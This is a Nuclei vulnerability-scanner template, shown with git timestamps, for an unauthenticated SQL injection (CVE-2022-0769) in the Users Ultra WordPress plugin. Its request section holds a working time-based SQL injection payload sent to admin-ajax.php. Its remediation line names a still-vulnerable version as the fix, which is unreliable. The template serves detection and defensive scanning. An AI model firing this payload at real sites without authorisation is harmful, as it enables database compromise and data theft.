nuclei-templates/http/cves/2022/CVE-2022-0769.yaml

51 lines
2.1 KiB
YAML
Raw Normal View History

2023-04-21 08:56:01 +00:00
id: CVE-2022-0769
info:
name: Users Ultra <= 3.1.0 - SQL Injection
author: theamanrawat
severity: critical
description: |
The Users Ultra WordPress plugin through 3.1.0 fails to properly sanitize and escape the data_target parameter before it is being interpolated in an SQL statement and then executed via the rating_vote AJAX action (available to both unauthenticated and authenticated users), leading to an SQL Injection.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
2023-09-06 11:59:08 +00:00
remediation: |
Update to Users Ultra version 3.1.0 or later to mitigate this vulnerability.
2023-04-21 08:56:01 +00:00
reference:
- https://wpscan.com/vulnerability/05eab45d-ebe9-440f-b9c3-73ec40ef1141
- https://wordpress.org/plugins/users-ultra/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0769
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-0769
cwe-id: CWE-89
epss-score: 0.04159
epss-percentile: 0.91317
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:usersultra:users_ultra:*:*:*:*:*:wordpress:*:*
2023-04-21 08:56:01 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: usersultra
product: users_ultra
2023-09-06 11:59:08 +00:00
framework: wordpress
2024-01-14 09:21:50 +00:00
tags: cve,cve2022,wp,users-ultra,wpscan,sqli,wordpress,wp-plugin,usersultra
2023-04-21 08:56:01 +00:00
http:
2023-04-21 08:56:01 +00:00
- raw:
- |
@timeout: 20s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=rating_vote&data_id=1&data_target=vote_score+%3d+1+AND+(SELECT+3+FROM+(SELECT(SLEEP(6)))gwe)--+
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "You have to be logged in to leave your rate")'
condition: and
# digest: 4a0a00473045022100cc59db101fd6b8243cae3164f9eda0f776877357409ca1bfa2281d5ed9174d64022004582c63cc45f4de75d7719c62661228ff8a3ff71dab15ca162c5489209721d1:922c64590222798bb761d5b6d8e72950